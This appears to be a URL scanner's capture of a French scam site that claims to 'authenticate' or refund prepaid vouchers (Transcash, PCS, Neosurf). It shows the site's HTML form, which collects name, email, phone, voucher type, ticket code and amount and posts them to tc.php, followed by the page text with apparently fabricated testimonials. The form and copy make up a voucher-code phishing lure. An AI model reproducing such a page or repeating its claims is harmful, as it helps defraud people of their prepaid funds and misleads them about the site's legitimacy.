www.authentificationsrecharge.com
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Form analysis
2 forms found in the DOMPOST tc.php
<form id="contact-form" method="POST" action="tc.php">
<div class="form-group">
<input name="nom" type="text">
<label>Nom complet</label>
<span class="focus-border"></span>
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<div class="form-group">
<input name="email" type="email">
<label>Email</label>
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<label>Type de la recharge</label>
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<option value="transcash">Transcash</option>
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<option value="pcs">PCS</option>
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<input name="ref" type="text" required="">
<label>Code Ticket</label>
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<div class="form-group">
<input type="text" name="montant" required="">
<label>Montant</label>
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<div class="form-group">
<input type="text" name="phone">
<label>Téléphone</label>
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<div class="">
<label>Cacher le code ?</label>
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<option value="Oui" selected="">Oui</option>
<option value="Non">Non</option>
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<input name="submit" type="submit" value="AUTHENTIFICATION">
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* Eclairé * Sombre Authentification Recharge * Authentifier un code Authentification Recharge * Authentifier un code * Remboursement CONTRÔLER LA VALIDITÉ DE VOTRE RECHARGE C'est parti Remboursement REMPLISSEZ LE FORMULAIRE. Nom complet Email Type de la recharge Transcash Neosurf PCS Code Ticket Montant Téléphone Cacher le code ? Oui Non EMAIL Ecrivez-nous en cas de problème. contact@authentificationrecharge.com Témoignages Découvrez ce que disent les internautes satisfaits. TILDA Authentifications Ce site est vraiment génial, j'ai reçu la validation de mon ticket très rapidement. Je l'ai adopté et je suis vraiment ravie. CYNTHIA Authentifications Cette plateforme m'a aidé à authentifier mon ticket. Je recommande ❤❤❤ REJOIGNEZ-NOUS Rejoignez-nous en vous abonnant à notre newsletter. S'abonner CONTACT * contact@authentificationrecharge.com © 2017. Tous droits réservés. * Politique de confidentialité * Conditions d'utilisations top